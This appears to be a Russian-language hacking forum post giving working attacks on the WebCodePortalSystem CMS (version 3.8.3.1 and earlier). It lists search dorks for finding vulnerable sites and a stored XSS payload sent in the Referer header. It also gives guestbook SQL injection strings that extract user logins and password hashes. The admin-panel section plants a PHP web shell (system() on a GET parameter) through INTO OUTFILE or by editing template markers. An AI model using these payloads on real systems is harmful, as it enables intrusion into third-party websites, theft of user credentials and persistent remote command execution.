WebCodePortalSystem <= v. 3.8.3.1 + ВИДЕО (исправил ошибку с кодеком - теперь и весит два метра и открываться должно без проблем)
[ОБЩАЯ ИНФОРМАЦИЯ]
Стандартный префикс -
wc_
Тип хеша -
md5(password)
Таблица с пользователями -
[префикс]_user
Для поиска сайтов с таким движком вводим: WebCodePortalSystem v. 3.8.3.1
Яндекс: http://www.yandex.ru/yandsearch?clid=9582&text=WebCodePortalSystem+v.+3 .8.3.1
Гугл: http://www.google.ru/search?hl=ru&q=WebCodePortalSystem+v.+3.8.3.1&btnG =%D0%9F%D0%BE%D0%B8%D1%81%D0%BA+%D0%B2+Google&lr=& aq=t&oq=
[УЯЗВИМОСТИ (версия WebCodePortalSystem v. 3.8.3.1 - на момент написания самая новая)]
[1] [Активная XSS]
Нет фильтрации в referer е, формируем пакет:
Код:
GET /index.php HTTP/1.1
Host: test2.ru
Referer: http://<IMG SRC=javascript:alert('test');>
Connection: close
Далее при просмотре страницы
Статистика - Переходы видим выполнение скрипта.
[2] [SQL инъекция]
Уязвим скрипт гостевой книги, скрипт add.php
Заходим в сфой профиль,
"Аккаунт" и в поле
"URL Вашего Сайта:" вводим следующее:
',version(),'','1','1')#
Символ # так же как и /* - символ конца строки
Дальше заходим в гостевую книгу и видим в поле "URL вашего сайта:" введенную нами скулю, в поле с текстом сообщения вводим что угодно - не имеет значения (но не оставляем пустым и сильно маленьким - 5-6 символов норм).
Добавляем сообщение и видим результат работы подзапроса вместо текста сообщения, в данном случае будет выведена версия БД. К сожалению из-за ограничения на длинну вставить нормальный подзапрос не полчучится + еще одна не приятная особенность - поставленные пробелы не учитываются, поэтому придется использовать кавычки:
',(select"123"),'','1','1')# - будет выведенно 123
К сожалению от запроса ограниченного по длинне току мало, но сдаваться не хорошо, поэтму я нашел способ как это можно обойти.
И так, у нас есть параметр в котором кавычка не фильтруется, это "URL вашего сайта:", следовательно если мы подставим кавычку то сможем менять наш запрос, да вот кстати сам запрос:
PHP код:
mysql_query("INSERT INTO ".$wcpref."guestbook VALUES ('','$now','$eigbname','$eigbmail','$eigburl МЫ ВНЕДРЯМСЯ ЗДЕСЬ ','$eigbtext$attach_text','','$eiloggedstatus','$eigbsname')
Единственый параметр который мы можем изменить в этом запросе (после параметра с адресом сайта) это текст сообщения - $eigbtext$attach_text, но в нем, как и вдругих кавычки фильтуруются, но использовать кавычки не обязательно, вводим следующее:
URL вашего сайта: ',/*
Текст сообщения: */version(),null,3,3)#
И вот как будет выглядеть запрос:
PHP код:
mysql_query("INSERT INTO ".$wcpref."guestbook VALUES ('','$now','$eigbname','$eigbmail','',/*','*/version(),null,3,3)
Мешающие нам ',' будет закаментированно (ровно как и все что после #). Да и кстати проблема с пробелами тоже решена - что существенно упрощает построение подзапроса.
И так мы полчаем возможность внедрить sql инъекцию, к примеру вывод логина и хеша пароля пользователя (правда придется составлять два отдельных запроса, т.к. использовать запятую нельзя):
Текст сообщения: */(select user_login from wc_user where id=2),null,3,3)#
Текст сообщения: */(select user_pass from wc_user where id=2),null,3,3)#
URL вашего сайта (в обоих случаях): ',/*
!!!! При регистрации не вводите в URL вашего сайта: ',/* - кавычка будет экранироваться, вводить только при редактирование данных в профиле!!!!!!!
!!!! Уязвимсоть действует только если вы регились на сайте и изменяли в профиле этот параметр, при написание сообщения в гостевой без реги на сайте - кавычка будет экранироваться!!!!!!!
[В АДМИНКЕ]
[Раскрытие абсолютного пути]
В обычный комплект (к примеру версия WebCodePortalSystem v. 3.8.3.1) входит не установленный модуль «Инфо PHP»
Устанавливаем «Инсталл» Инфо PHP, после чего появляется новая опция «Инфо PHP»
[Заливка шелла]
1. Через sql запрос.
Создаем файл с запросом, к примеру файл 1.sql:
select 'код шелла' into outfile 'абсолютный путь/shell.php';
Получаем шелл:
http://site.ru/shell.php
2. Через редактирование меток
«Метки», к примеру метка METKA_STATUS
Добавляем следующий код:
PHP код:
$kod_shella = '<?php system($HTTP_GET_VARS["cmd"]); ?>';
$file_shell = fopen("shell.php", "w");
fputs($file_shell, $kod_shella);
fclose($file_shell);
Получаем шелл:
http://site.ru/shell.php?cmd=[cmd]
Или инклудим шелл, тогда код:
PHP код:
include('Адрес до шелла');
И получаем его на главной странице:
http://site.ru/
---------------------------------------------------------------
Видео (весит метра 2):
http://rapidshare.com/files/76360514/heck.rar.html
Описание к видео в файле в аттаче (hek.txt):